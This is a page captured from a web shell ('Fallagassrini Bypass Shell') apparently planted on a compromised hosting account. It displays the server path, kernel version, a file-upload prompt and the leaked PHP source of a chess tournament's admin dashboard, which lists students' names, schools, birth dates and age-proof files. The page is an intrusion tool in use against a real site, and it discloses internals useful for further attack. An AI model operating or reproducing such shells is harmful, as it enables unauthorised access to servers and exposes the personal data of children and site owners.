? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/chess2015open/application/views/admin/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/chess2015open/application/views/admin/home.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <?php
    $this->load->view('admin/header');
    ?>
    <body>
        <?php
        $this->load->view('admin/menu');
        ?>

        <div class="container_12">



            <!-- Dashboard icons -->
            <div class="grid_7">


                <a href="<?= site_url(); ?>/admin/registration_details" class="dashboard-module">
                    <img src="<?= base_url() ?>/assets/admin/images/icons/event.png" width="64" height="64" alt="edit" />
                    <span>Registration Details</span>
                </a>

                <a href="<?= site_url(); ?>/admin/contact_details" class="dashboard-module">
                    <img src="<?= base_url() ?>/assets/admin/images/icons/testimonial.gif" width="64" height="64" alt="edit" />
                    <span>Contact Us</span>
                </a>

<!--                 <a href="<?= site_url(); ?>/admin/mixed" class="dashboard-module">
                        <img src="<?= base_url() ?>/assets/admin/images/icons/event.png" width="64" height="64" alt="edit" />
                        <span>Mixed Doubles</span>
                </a>-->


                <a href="<?= site_url(); ?>/admin/settings" class="dashboard-module">
                    <img src="<?= base_url() ?>/assets/admin/images/Crystal_Clear_settings.gif" width="64" height="64" alt="edit" />
                    <span>Settings</span>
                </a>



                <div style="clear: both"></div>
            </div> <!-- End .grid_7 -->

            <div class="module">
              <h2><span>Pending Registration Alerts
                 </span>
              </h2>
                <div class="module-table-body">
                    <form action="">
                        <table id="myTable" class="tablesorter">
                            <thead>
                                <tr>
                                    <th style="width:4%">SNo</th>
                                    <th style="width:12%">Student Name</th>
                                    <th style="width:8%">Gender</th>
                                    <th style="width:10%">School Name</th>
                                    <th style="width:8%">Date of Birth</th>
                                    <th style="width:10%">Age</th>
                                    <th style="width:10%">Status</th>
                                    <th style="width:10%">Age Proof</th>

                                </tr>
                            </thead>
                            <tbody>
                                <?php
                                $i = 1;
                                $viewinfo = $this->mastermodel->get_pending_student();
                                if (sizeof($viewinfo) > 0) {
                                 $z = 1;
                                    foreach ($viewinfo as $row) {
                                        if ($z % 2 == 0)
                                            $alt = "alt";
                                        else
                                            $alt = "alt1";
                                        ?>

                                        <tr class="<?= $alt; ?>">
                                            <td><?= $z; ?></td>
                                            <td><?= $row['name'] ?></td>
                                            <td><?= $row['gender'] ?></td>
                                            <td><?= $row['school_name'] ?></td>
                                            <td><?= $this->mastermodel->convertdatenormalformat($row['date_of_birth']) ?></td>
                                            <?php
                                                $birth = new DateTime($row['date_of_birth']);
                                                $today = new DateTime('2014-02-21');
                                                $diff = $today->diff($birth);
                                                if ($row['status'] == 'Pending') 
                                                {
                                                if ($diff->y + $diff->m / 100 <= 10.00)
                                                ?>
                                                <td><?= $diff->y . '.' . $diff->m . ' Years'; ?></td>
                                                <?php
                                                }
                                                else 
                                                {
                                               
                                                if ($diff->y + $diff->m / 100 > 10.00)
                                                    
                                                    ?>
                                                <td><?= $diff->y . '.' . $diff->m . ' Years'; ?></td>
                                                <?php
                                                }
                                            ?>
                                            <td>
                                                 <?php
                                            if ($row['status'] == "Pending") 
                                                {
                                                ?>
                                                    <input type="checkbox" name="status" id="status" value="<?= $row['registration_id'] ?>" onclick="get_students(this,'<?= $i ?>')"/>
                                                    <input type="hidden" name="age<?= $i ?>" id="age<?= $i ?>" value="<?= $diff->y; ?>"/>
                                                <?php
                                                } else 
                                                {
                                                    ?>
                                                    <input type="checkbox" name="status" id="status" checked  disabled="disabled" />
                                                    
                                                    <?php
                                                }
                                                ?>
                                            </td>

                                            <td>
                                                <?php
                                                if ($row['proof'] != "") 
                                                {
                                                ?>
                                                <a href="<?= base_url() . '/assets/uploads/proof/' . $row['proof'] ?>"><img src="<?= base_url(); ?>/assets/images/icon_pdficon_pdf.png" title="PDF" width="20" height="20"></img></a>
                                                <?php
                                                } 
                                                else 
                                                {
                                                ?>
                                               <?php
                                                }
                                                ?>

                                            </td>

                                        </tr>
                                        <?php
                                        $z++;
                                        $i++;
                                    }
                                }
                                ?>
                            </tbody>
                        </table>
                    </form>
                    

                    <div style="clear: both"></div>
                </div> <!-- End .module-table-body -->
            </div>
            <div style="clear:both;"></div>
            <!-- End .container_12 -->
        </div>

        <?php
        $this->load->view('admin/footer');
        ?>

    </body>
</html>
<script>
    function get_students(obj,rowid)
    {  
        var $combo = $(obj);
        var status=$combo.is(':checked') ? "Approved" : "Pending";
        var registration_id = $combo.val();
        var age=document.getElementById('age'+rowid).value;

        if(confirm('Are you sure want to approve this participant? This operation cannot be undone.'))
        {
        $.ajax({
            type: "POST",
            data : { registration_id : registration_id },
            
            url: "<?= site_url() ?>/admin/set_student_status/"+registration_id+"/"+ status+"/"+age,
            
            success: function(data) 
            { 
               alert("Candidate approved successfully!");
               $combo.attr('disabled', true);
            }
 
        });
        }
        else
        {
            $combo.attr('checked', false);
        }
    }
</script>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net